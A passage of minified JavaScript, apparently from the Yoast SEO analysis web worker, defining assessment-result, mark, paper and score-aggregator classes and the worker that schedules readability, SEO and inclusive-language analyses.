t.text=e.text,t.identifier=e.getIdentifier(),e.hasMarker()&&(t.marker=e.getMarker()),t}getOverallRating(e){let t=0;return""===this.keyword||(0,s.isNumber)(e)&&(t=e/10),this.resultToRating({score:t})}markAssessment(e,t){this._activeMarker===e?(this.removeAllMarks(),this._activeMarker=!1):(t(),this._activeMarker=e),this.render()}disableMarker(){this._activeMarker=!1,this.render()}disableMarkerButtons(){this._disableMarkerButtons=!0,this.render()}enableMarkerButtons(){this._disableMarkerButtons=!1,this.render()}addMarkerEventHandler(e,t){document.getElementById(this.output).getElementsByClassName("js-assessment-results__mark-"+e)[0].addEventListener("click",this.markAssessment.bind(this,e,t))}render(){this.renderIndividualRatings(),this.renderOverallRating()}bindMarkButtons(e){(0,s.forEach)(e,function(e){e.hasOwnProperty("marker")&&this.addMarkerEventHandler(e.identifier,e.marker)}.bind(this))}removeAllMarks(){this.assessor.getSpecificMarker()(this.assessor.getPaper(),[])}renderIndividualRatings(){}renderOverallRating(){const e=this.getOverallRating(this.assessor.calculateOverallScore()),t=document.getElementById(this.overall);t&&(t.className="overallScore "+this.getIndicatorColorClass(e.rating))}}},9286:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=t.READABILITY_SCORES=void 0;var s=a(r(67404)),n=r(80572),i=a(r(34115));function a(e){return e&&e.__esModule?e:{default:e}}const o={bad:3,ok:2,good:0},l={bad:4,ok:2,good:0},u=t.READABILITY_SCORES={GOOD:90,OKAY:60,NEEDS_IMPROVEMENT:30,NOT_AVAILABLE:0},c=["en","nl","de","it","ru","fr","es"];class d extends i.default{isFullySupported(e){if(e&&e.includes("_")){const t=(0,s.default)(e);return c.includes(t)}return!1}calculateScore(e,t){if(e){if(t>6)return u.NEEDS_IMPROVEMENT;if(t>4)return u.OKAY}else{if(t>4)return u.NEEDS_IMPROVEMENT;if(t>2)return u.OKAY}return u.GOOD}calculatePenalty(e){return e.reduce(((e,t)=>{const r=(0,n.scoreToRating)(t.getScore()),s=this.isFullySupported(this.locale)?o[r]:l[r];return s?e+s:e}),0)}getValidResults(e){return e.filter((e=>e.hasScore()&&e.hasText()))}setLocale(e){this.locale=e}aggregate(e){const t=this.getValidResults(e);if(t.length<=1)return u.NOT_AVAILABLE;const r=this.calculatePenalty(t),s=this.isFullySupported(this.locale);return this.calculateScore(s,r)}}t.default=d},50734:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s,n=(s=r(34115))&&s.__esModule?s:{default:s};class i extends n.default{aggregate(e){const t=e.reduce(((e,t)=>e+t.getScore()),0);return Math.round(100*t/(9*e.length))||0}}t.default=i},34115:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0,t.default=class{aggregate(e){console.warn("'aggregate' must be implemented by a child class of 'ScoreAggregator'")}}},83819:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"ReadabilityScoreAggregator",{enumerable:!0,get:function(){return s.default}}),Object.defineProperty(t,"SEOScoreAggregator",{enumerable:!0,get:function(){return i.default}}),Object.defineProperty(t,"ScoreAggregator",{enumerable:!0,get:function(){return n.default}});var s=a(r(9286)),n=a(r(34115)),i=a(r(50734));function a(e){return e&&e.__esModule?e:{default:e}}},73054:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s,n=r(92819),i=(s=r(41054))&&s.__esModule?s:{default:s};const a=()=>[];class o{constructor(e){this._hasScore=!1,this._identifier="",this._hasAIFixes=!1,this._hasMarks=!1,this._hasJumps=!1,this._hasEditFieldName=!1,this._marker=a,this._hasBetaBadge=!1,this.score=0,this.text="",this.marks=[],this.editFieldName="",(0,n.isUndefined)(e)&&(e={}),(0,n.isUndefined)(e.score)||this.setScore(e.score),(0,n.isUndefined)(e.text)||this.setText(e.text),(0,n.isUndefined)(e.marks)||this.setMarks(e.marks),(0,n.isUndefined)(e._hasBetaBadge)||this.setHasBetaBadge(e._hasBetaBadge),(0,n.isUndefined)(e._hasJumps)||this.setHasJumps(e._hasJumps),(0,n.isUndefined)(e.editFieldName)||this.setEditFieldName(e.editFieldName),(0,n.isUndefined)(e._hasAIFixes)||this.setHasAIFixes(e._hasAIFixes)}hasScore(){return this._hasScore}getScore(){return this.score}setScore(e){(0,n.isNumber)(e)&&(this.score=e,this._hasScore=!0)}hasText(){return""!==this.text}getText(){return this.text}setText(e){(0,n.isUndefined)(e)&&(e=""),this.text=e}getMarks(){return this.marks}setMarks(e){(0,n.isArray)(e)&&(this.marks=e,this._hasMarks=e.length>0)}setIdentifier(e){this._identifier=e}getIdentifier(){return this._identifier}setMarker(e){this._marker=e}hasMarker(){return this._hasMarks&&this._marker!==a}getMarker(){return this._marker}setHasMarks(e){this._hasMarks=e}hasMarks(){return this._hasMarks}setHasBetaBadge(e){this._hasBetaBadge=e}hasBetaBadge(){return this._hasBetaBadge}setHasJumps(e){this._hasJumps=e}hasJumps(){return this._hasJumps}hasEditFieldName(){return this._hasEditFieldName}getEditFieldName(){return this.editFieldName}setEditFieldName(e){""!==e&&(this.editFieldName=e,this._hasEditFieldName=!0)}setHasAIFixes(e){this._hasAIFixes=e}hasAIFixes(){return this._hasAIFixes}serialize(){return{_parseClass:"AssessmentResult",identifier:this._identifier,score:this.score,text:this.text,marks:this.marks.map((e=>e.serialize())),_hasBetaBadge:this._hasBetaBadge,_hasJumps:this._hasJumps,_hasAIFixes:this._hasAIFixes,editFieldName:this.editFieldName}}static parse(e){const t=new o({text:e.text,score:e.score,marks:e.marks.map((e=>i.default.parse(e))),_hasBetaBadge:e._hasBetaBadge,_hasJumps:e._hasJumps,_hasAIFixes:e._hasAIFixes,editFieldName:e.editFieldName});return t.setIdentifier(e.identifier),t}}t.default=o},41054:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(92819);const n={original:"",marked:"",fieldsToMark:[]};class i{constructor(e){e=e||{},(0,s.defaults)(e,n),this._properties=e,this.isValid()}getOriginal(){return this._properties.original}getMarked(){return this._properties.marked}getFieldsToMark(){return this._properties.fieldsToMark}getPosition(){return this._properties.position}getPositionStart(){return this._properties.position&&this._properties.position.startOffset}getPositionEnd(){return this._properties.position&&this._properties.position.endOffset}setPositionStart(e){this._properties.position.startOffset=e}setPositionEnd(e){this._properties.position.endOffset=e}setBlockPositionStart(e){this._properties.position.startOffsetBlock=e}setBlockPositionEnd(e){this._properties.position.endOffsetBlock=e}getBlockClientId(){return this._properties.position&&this._properties.position.clientId}getBlockAttributeId(){return this._properties.position&&this._properties.position.attributeId}isMarkForFirstBlockSection(){return this._properties.position&&this._properties.position.isFirstSection}getBlockPositionStart(){return this._properties.position&&this._properties.position.startOffsetBlock}getBlockPositionEnd(){return this._properties.position&&this._properties.position.endOffsetBlock}applyWithReplace(e){return e.split(this._properties.original).join(this._properties.marked)}applyWithPosition(e){const t=this.getPositionEnd()+35;return(e=e.substring(0,this.getPositionStart())+"<yoastmark class='yoast-text-mark'>"+e.substring(this.getPositionStart())).substring(0,t)+"</yoastmark>"+e.substring(t)}serialize(){return{_parseClass:"Mark",...this._properties}}isValid(){if(!(0,s.isUndefined)(this.getPositionStart())&&this.getPositionStart()<0)throw new RangeError("positionStart should be larger or equal than 0.");if(!(0,s.isUndefined)(this.getPositionEnd())&&this.getPositionEnd()<=0)throw new RangeError("positionEnd should be larger than 0.");if(!(0,s.isUndefined)(this.getPositionStart())&&!(0,s.isUndefined)(this.getPositionEnd())&&this.getPositionStart()>=this.getPositionEnd())throw new RangeError("The positionStart should be smaller than the positionEnd.");if((0,s.isUndefined)(this.getPositionStart())&&!(0,s.isUndefined)(this.getPositionEnd())||(0,s.isUndefined)(this.getPositionEnd())&&!(0,s.isUndefined)(this.getPositionStart()))throw new Error("A mark object should either have start and end defined or start and end undefined.")}hasPosition(){return!(0,s.isUndefined)(this.getPositionStart())}hasBlockPosition(){return!(0,s.isUndefined)(this.getBlockPositionStart())}static parse(e){return delete e._parseClass,new i(e)}}t.default=i},82304:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(92819);const n={keyword:"",synonyms:"",description:"",title:"",titleWidth:0,slug:"",locale:"en_US",permalink:"",date:"",customData:{},textTitle:"",writingDirection:"LTR",wpBlocks:[],isFrontPage:!1};class i{constructor(e,t){this._text=e||"",this._tree=null,t=t||{},(0,s.defaults)(t,n),""===t.locale&&(t.locale=n.locale),t.hasOwnProperty("url")&&(console.warn("The 'url' attribute is deprecated, use 'slug' instead."),t.slug=t.url||t.slug);const r=t.keyword.replace(/[‘’“”"'.?!:;,¿¡«»&*@#±^%|~`[\](){}⟨⟩<>/\\–\-\u2014\u00d7\u002b\s]/g,"");(0,s.isEmpty)(r)&&(t.keyword=n.keyword),this._attributes=t}hasKeyword(){return""!==this._attributes.keyword}getKeyword(){return this._attributes.keyword}hasSynonyms(){return""!==this._attributes.synonyms}getSynonyms(){return this._attributes.synonyms}hasText(){return""!==this._text}getText(){return this._text}setTree(e){this._tree=e}getTree(){return this._tree}hasDescription(){return""!==this._attributes.description}getDescription(){return this._attributes.description}hasTitle(){return""!==this._attributes.title}getTitle(){return this._attributes.title}hasTitleWidth(){return 0!==this._attributes.titleWidth}getTitleWidth(){return this._attributes.titleWidth}hasSlug(){return""!==this._attributes.slug}getSlug(){return this._attributes.slug}isFrontPage(){return this._attributes.isFrontPage}hasUrl(){return console.warn("This function is deprecated, use hasSlug instead"),this.hasSlug()}getUrl(){return console.warn("This function is deprecated, use getSlug instead"),this.getSlug()}hasLocale(){return""!==this._attributes.locale}getLocale(){return this._attributes.locale}getWritingDirection(){return this._attributes.writingDirection}hasPermalink(){return""!==this._attributes.permalink}getPermalink(){return this._attributes.permalink}hasDate(){return""!==this._attributes.date}getDate(){return this._attributes.date}hasCustomData(){return!(0,s.isEmpty)(this._attributes.customData)}getCustomData(){return this._attributes.customData}hasTextTitle(){return""!==this._attributes.textTitle&&!(0,s.isNil)(this._attributes.textTitle)}getTextTitle(){return this._attributes.textTitle}serialize(){return{_parseClass:"Paper",text:this._text,...this._attributes}}equals(e){return this._text===e.getText()&&(0,s.isEqual)(this._attributes,e._attributes)}static parse(e){if(e instanceof i)return e;const{text:t,_parseClass:r,...s}=e;return new i(t,s)}}t.default=i},73728:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"AssessmentResult",{enumerable:!0,get:function(){return s.default}}),Object.defineProperty(t,"Mark",{enumerable:!0,get:function(){return n.default}}),Object.defineProperty(t,"Paper",{enumerable:!0,get:function(){return i.default}});var s=a(r(73054)),n=a(r(41054)),i=a(r(82304));function a(e){return e&&e.__esModule?e:{default:e}}},86912:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(14715),n=r(65736),i=r(92819),a=r(2043),o=N(r(73054)),l=r(7104),u=r(33140),c=N(r(62887)),d=N(r(64495)),h=N(r(49781)),f=N(r(85551)),p=N(r(82304)),g=N(r(96224)),m=N(r(46746)),_=N(r(72557)),T=N(r(45632)),E=N(r(14539)),A=N(r(58557)),y=N(r(66225)),v=N(r(56466)),b=N(r(62178)),O=N(r(56402)),S=N(r(44885)),I=N(r(40863)),C=r(83819);function N(e){return e&&e.__esModule?e:{default:e}}const D=(0,a.getLogger)("yoast-analysis-worker");D.setDefaultLevel("error");class w{constructor(e,t){this._scope=e,this._configuration={contentAnalysisActive:!0,keywordAnalysisActive:!0,inclusiveLanguageAnalysisActive:!1,useCornerstone:!1,useTaxonomy:!1,locale:"en_US",customAnalysisType:""},this._scheduler=new g.default,this._paper=null,this._relatedKeywords={},this._researcher=t,this._contentAssessor=null,this._seoAssessor=null,this._relatedKeywordAssessor=null,this.additionalAssessors={},this._inclusiveLanguageOptions={},this._results={readability:{results:[],score:0},seo:{"":{results:[],score:0}},inclusiveLanguage:{results:[],score:0}},this._registeredAssessments=[],this._registeredMessageHandlers={},this._registeredParsers=[],this.setupTreeAnalysis(),this.bindActions(),this.assessRelatedKeywords=this.assessRelatedKeywords.bind(this),this.registerAssessment=this.registerAssessment.bind(this),this.registerMessageHandler=this.registerMessageHandler.bind(this),this.refreshAssessment=this.refreshAssessment.bind(this),this.setCustomContentAssessorClass=this.setCustomContentAssessorClass.bind(this),this.setCustomCornerstoneContentAssessorClass=this.setCustomCornerstoneContentAssessorClass.bind(this),this.setCustomSEOAssessorClass=this.setCustomSEOAssessorClass.bind(this),this.setCustomCornerstoneSEOAssessorClass=this.setCustomCornerstoneSEOAssessorClass.bind(this),this.setCustomRelatedKeywordAssessorClass=this.setCustomRelatedKeywordAssessorClass.bind(this),this.setCustomCornerstoneRelatedKeywordAssessorClass=this.setCustomCornerstoneRelatedKeywordAssessorClass.bind(this),this.registerAssessor=this.registerAssessor.bind(this),this.registerResearch=this.registerResearch.bind(this),this.registerHelper=this.registerHelper.bind(this),this.registerResearcherConfig=this.registerResearcherConfig.bind(this),this.setInclusiveLanguageOptions=this.setInclusiveLanguageOptions.bind(this),this.handleMessage=this.handleMessage.bind(this),this.analyzeRelatedKeywords=(0,_.default)(D,this.analyze,"An error occurred while running the related keywords analysis."),this.analyze=(0,_.default)(D,this.analyze,"An error occurred while running the analysis."),this.runResearch=(0,_.default)(D,this.runResearch,"An error occurred after running the '%%name%%' research.")}bindActions(){this.analyze=this.analyze.bind(this),this.analyzeDone=this.analyzeDone.bind(this),this.analyzeRelatedKeywordsDone=this.analyzeRelatedKeywordsDone.bind(this),this.loadScript=this.loadScript.bind(this),this.loadScriptDone=this.loadScriptDone.bind(this),this.customMessage=this.customMessage.bind(this),this.customMessageDone=this.customMessageDone.bind(this),this.clearCache=this.clearCache.bind(this),this.runResearch=this.runResearch.bind(this),this.runResearchDone=this.runResearchDone.bind(this)}setCustomContentAssessorClass(e,t,r){this._CustomContentAssessorClasses[t]=e,this._CustomContentAssessorOptions[t]=r,this._contentAssessor=this.createContentAssessor()}setCustomCornerstoneContentAssessorClass(e,t,r){this._CustomCornerstoneContentAssessorClasses[t]=e,this._CustomCornerstoneContentAssessorOptions[t]=r,this._contentAssessor=this.createContentAssessor()}setCustomSEOAssessorClass(e,t,r){this._CustomSEOAssessorClasses[t]=e,this._CustomSEOAssessorOptions[t]=r,this._seoAssessor=this.createSEOAssessor()}setCustomCornerstoneSEOAssessorClass(e,t,r){this._CustomCornerstoneSEOAssessorClasses[t]=e,this._CustomCornerstoneSEOAssessorOptions[t]=r,this._seoAssessor=this.createSEOAssessor()}setCustomRelatedKeywordAssessorClass(e,t,r){this._CustomRelatedKeywordAssessorClasses[t]=e,this._CustomRelatedKeywordAssessorOptions[t]=r,this._relatedKeywordAssessor=this.createRelatedKeywordsAssessor()}setCustomCornerstoneRelatedKeywordAssessorClass(e,t,r){this._CustomCornerstoneRelatedKeywordAssessorClasses[t]=e,this._CustomCornerstoneRelatedKeywordAssessorOptions[t]=r,this._relatedKeywordAssessor=this.createRelatedKeywordsAssessor()}setInclusiveLanguageOptions(e){this._inclusiveLanguageOptions=e}setupTreeAnalysis(){this._treeResearcher=null,this._contentTreeAssessor=null,this._seoTreeAssessor=null,this._relatedKeywordTreeAssessor=null,this._CustomSEOAssessorClasses={},this._CustomCornerstoneSEOAssessorClasses={},this._CustomContentAssessorClasses={},this._CustomCornerstoneContentAssessorClasses={},this._CustomRelatedKeywordAssessorClasses={},this._CustomCornerstoneRelatedKeywordAssessorClasses={},this._CustomSEOAssessorOptions={},this._CustomCornerstoneSEOAssessorOptions={},this._CustomContentAssessorOptions={},this._CustomCornerstoneContentAssessorOptions={},this._CustomRelatedKeywordAssessorOptions={},this._CustomCornerstoneRelatedKeywordAssessorOptions={},this._registeredTreeAssessments=[],this._seoScoreAggregator=new C.SEOScoreAggregator,this._contentScoreAggregator=new C.ReadabilityScoreAggregator,this._tree=null,this._treeBuilder=null}register(){this._scope.onmessage=this.handleMessage,this._scope.analysisWorker=this}handleMessage({data:{type:e,id:t,payload:r}}){switch(r=m.default.parse(r),D.debug("AnalysisWebWorker incoming:",e,t,r),e){case"initialize":this.initialize(t,r),this._scheduler.startPolling();break;case"analyze":this._scheduler.schedule({id:t,execute:this.analyze,done:this.analyzeDone,data:r,type:e});break;case"analyzeRelatedKeywords":this._scheduler.schedule({id:t,execute:this.analyzeRelatedKeywords,done:this.analyzeRelatedKeywordsDone,data:r,type:e});break;case"loadScript":this._scheduler.schedule({id:t,execute:this.loadScript,done:this.loadScriptDone,data:r,type:e});break;case"runResearch":this._scheduler.schedule({id:t,execute:this.runResearch,done:this.runResearchDone,data:r});break;case"customMessage":{const s=r.name;if(s&&this._registeredMessageHandlers[s]){this._scheduler.schedule({id:t,execute:this.customMessage,done:this.customMessageDone,data:r,type:e});break}this.customMessageDone(t,{error:new Error("No message handler registered for messages with name: "+s)});break}default:console.warn("AnalysisWebWorker unrecognized action:",e)}}createContentAssessor(){const{contentAnalysisActive:e,useCornerstone:t,customAnalysisType:r}=this._configuration;if(!1===e)return null;let s;return!0===t?(s=this._CustomCornerstoneContentAssessorClasses[r]?new this._CustomCornerstoneContentAssessorClasses[r](this._researcher,this._CustomCornerstoneContentAssessorOptions[r]):new E.default(this._researcher),this._registeredAssessments.forEach((({name:e,assessment:t,type:r})=>{(0,i.isUndefined)(s.getAssessment(e))&&"cornerstoneReadability"===r&&s.addAssessment(e,t)}))):(s=this._CustomContentAssessorClasses[r]?new this._CustomContentAssessorClasses[r](this._researcher,this._CustomContentAssessorOptions[r]):new T.default(this._researcher),this._registeredAssessments.forEach((({name:e,assessment:t,type:r})=>{(0,i.isUndefined)(s.getAssessment(e))&&"readability"===r&&s.addAssessment(e,t)}))),s}createSEOAssessor(){const{keywordAnalysisActive:e,useCornerstone:t,useTaxonomy:r,customAnalysisType:s}=this._configuration;if(!1===e)return null;let n;return n=!0===r?new I.default(this._researcher):!0===t?this._CustomCornerstoneSEOAssessorClasses[s]?new this._CustomCornerstoneSEOAssessorClasses[s](this._researcher,this._CustomCornerstoneSEOAssessorOptions[s]):new y.default(this._researcher):this._CustomSEOAssessorClasses[s]?new this._CustomSEOAssessorClasses[s](this._researcher,this._CustomSEOAssessorOptions[s]):new S.default(this._researcher),this._registeredAssessments.forEach((({name:e,assessment:t,type:r})=>{(0,i.isUndefined)(n.getAssessment(e))&&"seo"===r&&n.addAssessment(e,t)})),n}createInclusiveLanguageAssessor(){const{inclusiveLanguageAnalysisActive:e}=this._configuration;return!1===e?null:new v.default(this._researcher,this._inclusiveLanguageOptions)}createRelatedKeywordsAssessor(){const{keywordAnalysisActive:e,useCornerstone:t,useTaxonomy:r,customAnalysisType:s}=this._configuration;if(!1===e)return null;let n;return n=!0===r?new O.default(this._researcher):!0===t?this._CustomCornerstoneRelatedKeywordAssessorClasses[s]?new this._CustomCornerstoneRelatedKeywordAssessorClasses[s](this._researcher,this._CustomCornerstoneRelatedKeywordAssessorOptions[s]):new A.default(this._researcher):this._CustomRelatedKeywordAssessorClasses[s]?new this._CustomRelatedKeywordAssessorClasses[s](this._researcher,this._CustomRelatedKeywordAssessorOptions[s]):new b.default(this._researcher),this._registeredAssessments.forEach((({name:e,assessment:t,type:r})=>{(0,i.isUndefined)(n.getAssessment(e))&&"relatedKeyphrase"===r&&n.addAssessment(e,t)})),n}send(e,t,r={}){D.debug("AnalysisWebWorker outgoing:",e,t,r),r=m.default.serialize(r),this._scope.postMessage({type:e,id:t,payload:r})}static shouldAssessorsUpdate(e,t=null,r=null,s=null){const n=Object.keys(e);return{readability:(0,i.isNull)(t)||(0,d.default)(n,["contentAnalysisActive","useCornerstone","locale","translations","customAnalysisType"]),seo:(0,i.isNull)(r)||(0,d.default)(n,["keywordAnalysisActive","useCornerstone","useTaxonomy","locale","translations","researchData","customAnalysisType"]),inclusiveLanguage:(0,i.isNull)(s)||(0,d.default)(n,["inclusiveLanguageAnalysisActive","locale","translations"])}}initialize(e,t){const r=w.shouldAssessorsUpdate(t,this._contentAssessor,this._seoAssessor,this._inclusiveLanguageAssessor);(0,i.has)(t,"translations")&&Object.values(t.translations).forEach((e=>{if(e){const{domain:t,locale_data:r}=e;(0,n.setLocaleData)(r[t],t)}})),(0,i.has)(t,"researchData")&&((0,i.forEach)(t.researchData,((e,t)=>{this._researcher.addResearchData(t,e)})),delete t.researchData),(0,i.has)(t,"defaultQueryParams")&&((0,u.configureShortlinker)({params:t.defaultQueryParams}),delete t.defaultQueryParams),(0,i.has)(t,"logLevel")&&(D.setLevel(t.logLevel,!1),delete t.logLevel),(0,i.has)(t,"enabledFeatures")&&((0,s.enableFeatures)(t.enabledFeatures),delete t.enabledFeatures),this._configuration=(0,i.merge)(this._configuration,t),r.readability&&(this._contentAssessor=this.createContentAssessor(),this._contentTreeAssessor=null),r.seo&&(this._seoAssessor=this.createSEOAssessor(),this._relatedKeywordAssessor=this.createRelatedKeywordsAssessor()),r.inclusiveLanguage&&(this._inclusiveLanguageAssessor=this.createInclusiveLanguageAssessor()),this.clearCache(),this.send("initialize:done",e)}registerAssessor(e,t,r){const s=new t(this._researcher);this.additionalAssessors[e]={assessor:s,shouldUpdate:r}}registerAssessment(e,t,r,s="seo"){const{useCornerstone:n}=this._configuration;if(!(0,i.isString)(e))throw new c.default("Failed to register assessment for plugin "+r+". Expected parameter `name` to be a string.");if(!(0,i.isObject)(t))throw new c.default("Failed to register assessment for plugin "+r+". Expected parameter `assessment` to be a function.");if(!(0,i.isString)(r))throw new c.default("Failed to register assessment for plugin "+r+". Expected parameter `pluginName` to be a string.");const a=r+"-"+e;return null!==this._seoAssessor&&"seo"===s&&this._seoAssessor.addAssessment(a,t),null!==this._contentAssessor&&"readability"===s&&this._contentAssessor.addAssessment(a,t),null!==this._contentAssessor&&"cornerstoneReadability"===s&&n&&this._contentAssessor.addAssessment(a,t),null!==this._relatedKeywordAssessor&&"relatedKeyphrase"===s&&this._relatedKeywordAssessor.addAssessment(a,t),this._registeredAssessments.push({combinedName:a,assessment:t,type:s}),this.refreshAssessment(e,r),!0}registerMessageHandler(e,t,r){if(!(0,i.isString)(e))throw new c.default("Failed to register handler for plugin "+r+". Expected parameter `name` to be a string.");if(!(0,i.isObject)(t))throw new c.default("Failed to register handler for plugin "+r+". Expected parameter `handler` to be a function.");if(!(0,i.isString)(r))throw new c.default("Failed to register handler for plugin "+r+". Expected parameter `pluginName` to be a string.");e=r+"-"+e,this._registeredMessageHandlers[e]=t}refreshAssessment(e,t){if(!(0,i.isString)(e))throw new c.default("Failed to refresh assessment for plugin "+t+". Expected parameter `name` to be a string.");if(!(0,i.isString)(t))throw new c.default("Failed to refresh assessment for plugin "+t+". Expected parameter `pluginName` to be a string.");this.clearCache()}registerParser(e){if("function"!=typeof e.isApplicable)throw new c.default("Failed to register the custom parser. Expected parameter 'parser' to have a method 'isApplicable'.");if("function"!=typeof e.parse)throw new c.default("Failed to register the custom parser. Expected parameter 'parser' to have a method 'parse'.");this._registeredParsers.push(e)}clearCache(){this._paper=null}setLocale(e){this._configuration.locale!==e&&(this._configuration.locale=e,this._contentAssessor=this.createContentAssessor())}shouldReadabilityUpdate(e){return null===this._paper||this._paper.getText()!==e.getText()||this._paper.getKeyword()!==e.getKeyword()||this._paper.getLocale()!==e.getLocale()}shouldInclusiveLanguageUpdate(e){return null===this._paper||this._paper.getText()!==e.getText()||this._paper.getTextTitle()!==e.getTextTitle()||this._paper.getLocale()!==e.getLocale()}updateInclusiveLanguageAssessor(e){this._configuration.inclusiveLanguageAnalysisActive&&this._inclusiveLanguageAssessor&&e&&(this._inclusiveLanguageAssessor.assess(this._paper),this._results.inclusiveLanguage={results:this._inclusiveLanguageAssessor.results,score:this._inclusiveLanguageAssessor.calculateOverallScore()})}shouldSeoUpdate(e,{keyword:t,synonyms:r}){return!!(0,i.isUndefined)(this._relatedKeywords[e])||this._relatedKeywords[e].keyword!==t||this._relatedKeywords[e].synonyms!==r}shouldAdditionalAssessorsUpdate(e){const t={};return Object.keys(this.additionalAssessors).forEach((r=>{t[r]=this.additionalAssessors[r].shouldUpdate(this._paper,e)})),t}updateAdditionalAssessors(e){Object.keys(this.additionalAssessors).forEach((t=>{const{assessor:r}=this.additionalAssessors[t];this._results[t]&&!e[t]||(r.assess(this._paper),this._results[t]={results:r.results,score:r.calculateOverallScore()})}))}async analyze(e,{paper:t,relatedKeywords:r={}}){const s=null===this._paper||!this._paper.equals(t),n=this.shouldReadabilityUpdate(t),a=this.shouldInclusiveLanguageUpdate(t),o=this.shouldAdditionalAssessorsUpdate(t);if(s){this._paper=t,this._researcher.setPaper(this._paper);const e=new h.default(this._researcher),r=this._paper._attributes&&this._paper._attributes.shortcodes;this._paper.setTree((0,l.build)(this._paper,e,r)),this.setLocale(this._paper.getLocale())}if(this._configuration.keywordAnalysisActive&&this._seoAssessor&&(s&&(this._results.seo[""]=await this.assess(this._paper,this._tree,{oldAssessor:this._seoAssessor,treeAssessor:this._seoTreeAssessor,scoreAggregator:this._seoScoreAggregator})),!(0,i.isEmpty)(r))){const e=Object.keys(r);(await this.assessRelatedKeywords(t,this._tree,r)).forEach((e=>{this._results.seo[e.key]=e.results})),e.length>1&&(this._results.seo=(0,i.pickBy)(this._results.seo,((t,r)=>(0,i.includes)(e,r)||""===r)))}if(this._configuration.contentAnalysisActive&&this._contentAssessor&&n){const e={oldAssessor:this._contentAssessor,treeAssessor:this._contentTreeAssessor,scoreAggregator:this._contentScoreAggregator};e.scoreAggregator.setLocale(this._configuration.locale),this._results.readability=await this.assess(this._paper,this._tree,e)}return this.updateInclusiveLanguageAssessor(a),this.updateAdditionalAssessors(o),this._results}async assess(e,t,r){const{oldAssessor:s,scoreAggregator:n}=r;s.assess(e);const i=[...s.results];return{results:i,score:n.aggregate(i)}}generateAssessmentError(e){const t=new o.default;return t.setScore(-1),t.setText((0,n.sprintf)(/* translators: %1$s expands to the name of the assessment. */
(0,n.__)("An error occurred in the '%1$s' assessment","wordpress-seo"),e.name)),t}async assessRelatedKeywords(e,t,r){const s=Object.keys(r);return await Promise.all(s.map((s=>{this._relatedKeywords[s]=r[s];const n=p.default.parse({...e.serialize(),keyword:this._relatedKeywords[s].keyword,synonyms:this._relatedKeywords[s].synonyms}),i={oldAssessor:this._relatedKeywordAssessor,treeAssessor:this._relatedKeywordTreeAssessor,scoreAggregator:this._seoScoreAggregator};return this.assess(n,t,i).then((e=>({key:s,results:e})))})))}loadScript(e,{url:t}){if((0,i.isUndefined)(t))return{loaded:!1,url:t,message:"Load Script was called without an URL."};try{this._scope.importScripts(t)}catch(e){return{loaded:!1,url:t,message:e.message}}return{loaded:!0,url:t}}loadScriptDone(e,t){t.loaded?this.send("loadScript:done",e,t):this.send("loadScript:failed",e,t)}analyzeDone(e,t){t.error?this.send("analyze:failed",e,t):this.send("analyze:done",e,t)}analyzeRelatedKeywordsDone(e,t){t.error?this.send("analyzeRelatedKeywords:failed",e,t):this.send("analyzeRelatedKeywords:done",e,t)}customMessage(e,{name:t,data:r}){try{return{success:!0,data:this._registeredMessageHandlers[t](r)}}catch(e){return{error:e}}}customMessageDone(e,t){t.success?this.send("customMessage:done",e,t.data):this.send("customMessage:failed",t.error)}registerResearch(e,t){if(!(0,i.isString)(e))throw new c.default("Failed to register the custom research. Expected parameter `name` to be a string.");if(!(0,i.isObject)(t))throw new c.default("Failed to register the custom research. Expected parameter `research` to be a function.");const r=this._researcher;r.hasResearch(e)||r.addResearch(e,t)}runResearch(e,{name:t,paper:r=null}){const s=this._researcher.getData("morphology"),n=this._researcher;if(null!==r&&(n.setPaper(r),n.addResearchData("morphology",s),null===r.getTree())){const e=new h.default(n),t=r._attributes&&r._attributes.shortcodes;r.setTree((0,l.build)(r,e,t))}return n.getResearch(t)}runResearchDone(e,t){t.error?this.send("runResearch:failed",e,t):this.send("runResearch:done",e,t)}registerHelper(e,t){if(!(0,i.isString)(e))throw new c.default("Failed to register the custom helper. Expected parameter `name` to be a string.");if(!(0,i.isObject)(t))throw new c.default("Failed to register the custom helper. Expected parameter `helper` to be a function.");const r=this._researcher;r.hasHelper(e)||r.addHelper(e,t)}registerResearcherConfig(e,t){if(!(0,i.isString)(e))throw new c.default("Failed to register the custom researcher config. Expected parameter `name` to be a string.");if((0,i.isUndefined)(t)||(0,i.isEmpty)(t))throw new f.default("Failed to register the custom researcher config. Expected parameter `researcherConfig` to be defined.");const r=this._researcher;r.hasConfig(e)||r.addConfig(e,t)}}t.default=w},49326:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=i(r(31769)),n=i(r(46746));function i(e){return e&&e.__esModule?e:{default:e}}t.default=class{constructor(e){this._worker=e,this._requests={},this._autoIncrementedRequestId=-1,this.initialize=this.initialize.bind(this),this.analyze=this.analyze.bind(this),this.analyzeRelatedKeywords=this.analyzeRelatedKeywords.bind(this),this.loadScript=this.loadScript.bind(this),this.sendMessage=this.sendMessage.bind(this),this.runResearch=this.runResearch.bind(this),this.handleMessage=this.handleMessage.bind(this),this.handleMessageError=this.handleMessageError.bind(this),this.handleError=this.handleError.bind(this),this._worker.onmessage=this.handleMessage,this._worker.onmessageerror=this.handleMessageError,this._worker.onerror=this.handleError}handleMessage({data:{type:e,id:t,payload:r}}){const s=this._requests[t];if(s){switch(r=n.default.parse(r),e){case"initialize:done":case"loadScript:done":case"customMessage:done":case"runResearch:done":case"analyzeRelatedKeywords:done":case"analyze:done":s.resolve(r);break;case"analyze:failed":case"loadScript:failed":case"customMessage:failed":case"runResearch:failed":case"analyzeRelatedKeywords:failed":s.reject(r);break;default:console.warn("AnalysisWebWorker unrecognized action:",e)}delete this._requests[t]}else console.warn("AnalysisWebWorker 